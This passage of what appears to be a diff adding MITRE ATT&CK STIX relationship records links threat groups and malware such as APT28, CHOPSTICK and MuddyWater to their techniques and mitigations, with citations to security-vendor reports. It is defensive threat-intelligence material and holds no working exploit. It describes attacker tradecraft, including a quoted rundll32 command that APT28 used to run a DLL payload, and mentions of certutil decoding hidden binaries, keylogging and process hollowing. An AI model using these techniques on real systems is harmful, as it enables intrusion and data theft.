"modified": "2019-04-24T23:39:01.532Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.053Z", + "id": "relationship--013ab34f-54bf-4813-bd37-42a4eebb8d52", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.668Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5986609f-f047-4f71-8918-e0d7d33416f0", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.677Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing remote command execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2fa20fad-4ede-42f4-8ce5-7f5a6ce83ed8", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Calisto](https://attack.mitre.org/software/S0274) uses a hidden directory named .calisto to store data from the victim\u2019s machine before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--dbdf85ca-504d-40f9-9023-ce8acdf99781", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + }, + { + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "source_name": "Symantec Calisto July 2018", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) executed [CHOPSTICK](https://attack.mitre.org/software/S0023) by using rundll32 commands such as rundll32.exe \u201cC:\\Windows\\twain_64.dll\u201d. [APT28](https://attack.mitre.org/groups/G0007) also executed a .dll for a first stage dropper using rundll32.exe. An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.038Z", + "id": "relationship--8f269f6c-9e8b-4296-ab47-2f60c9156b58", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.428Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.031Z", + "id": "relationship--e8c25f99-67f0-4aae-aeee-55e5bcea2d8e", + "source_ref": "course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec", + "modified": "2019-07-25T11:16:27.724Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--34ebfdf4-ef2c-4a6c-8bfa-69704d8f7694", + "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c", + "modified": "2019-03-25T16:47:54.560Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.019Z", + "id": "relationship--863d6b6f-9e13-4925-a736-5e719a10a0b8", + "source_ref": "course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2", + "modified": "2019-10-08T20:36:57.793Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can communicate over HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.080Z", + "id": "relationship--c63c7dc5-e374-4bf0-9839-0f940ac6d46c", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "modified": "2019-03-25T12:57:18.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) embeds a Visual Basic script within a malicious Word document as part of initial access; the script is executed when the Word document is opened. The actors also used batch scripting.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e75d7409-2850-4c9d-9f27-dfda05d9558c", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.233Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.046Z", + "id": "relationship--1ab3f63b-bd80-4e4c-8f62-79f26b9724ab", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.633Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been seen loaded into msiexec.exe through process hollowing to hide its execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ec6074e4-4137-42a4-86c8-1ea95ce54df6", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.411Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--31433bb4-aa47-444a-b7d7-49208401e974", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:59.094Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "source_name": "Unit 42 MuddyWater Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "source_name": "ClearSky MuddyWater Nov 2018", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Daserf](https://attack.mitre.org/software/S0187) leverages [Mimikatz](https://attack.mitre.org/software/S0002) and [Windows Credential Editor](https://attack.mitre.org/software/S0005) to steal credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d6b4cd9a-a8bd-4c9f-b716-e29710f1e934", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "source_name": "Symantec Tick Apr 2016", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Proton](https://attack.mitre.org/software/S0279) uses a keylogger to capture keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a1596d76-9ade-4acb-a570-2515f69a706e", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.620Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses VBScripts and batch scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--69b07a47-2d70-4672-9771-92fa4280b3d3", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) exfiltrates data over the same channel used for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d8abe157-f6cd-4959-b9d5-e0c87d16bcfe", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use DDE to execute additional payloads on compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--84a213fc-604f-441f-ba18-feab32085a50", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:52.989Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) is executed using rundll32.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.190Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", + "source_name": "F-Secure Sofacy 2015", + "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) can create a new service named msamger (Microsoft Security Accounts Manager).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fa2c0697-0d47-4ee9-b5bf-845ac3453c3a", + "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.", + "source_name": "Symantec Backdoor.Nidiran", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--76bd87d6-517e-4294-b4c5-a5a01308bf35", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.790Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Orz](https://attack.mitre.org/software/S0229) can execute shell commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--06814fdf-8bf8-43eb-b448-812541b46afa", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.131Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Elise](https://attack.mitre.org/software/S0081) executes systeminfo after initial communication is made to the remote server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--14135aaa-6080-48c1-8a08-d6ee9bb15c3d", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.817Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) deobfuscates its code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0c4af99b-e82d-422f-86da-ccc94e55d763", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.562Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[certutil](https://attack.mitre.org/software/S0160) has been used to decode binaries hidden inside certificate files as Base64 information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5918cee6-c2f1-41be-ab96-36f3d17e5293", + "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "modified": "2019-07-31T19:57:28.960Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.", + "source_name": "Malwarebytes Targeted Attack against Saudi Arabia", + "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.046Z", + "id": "relationship--3643f451-322d-4f38-91a4-00a55a42c7f5", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.638Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) communicates with its C2 server over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5b650388-4ab3-4c56-a69e-df7eba7f0756", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "source_name": "Fidelis INOCNATION", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) achieves persistence by using various Registry Run keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f0b00a47-9d63-4d05-b771-022a21a4ed06", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.358Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2aee3cad-9825-428f-bbd4-de51c688b886", + "source_ref": "course-of-action--a1482e43-f3ff-4fbd-94de-ad1244738166", + "modified": "2019-07-25T12:28:05.574Z", + "object_marking_refs": [ + 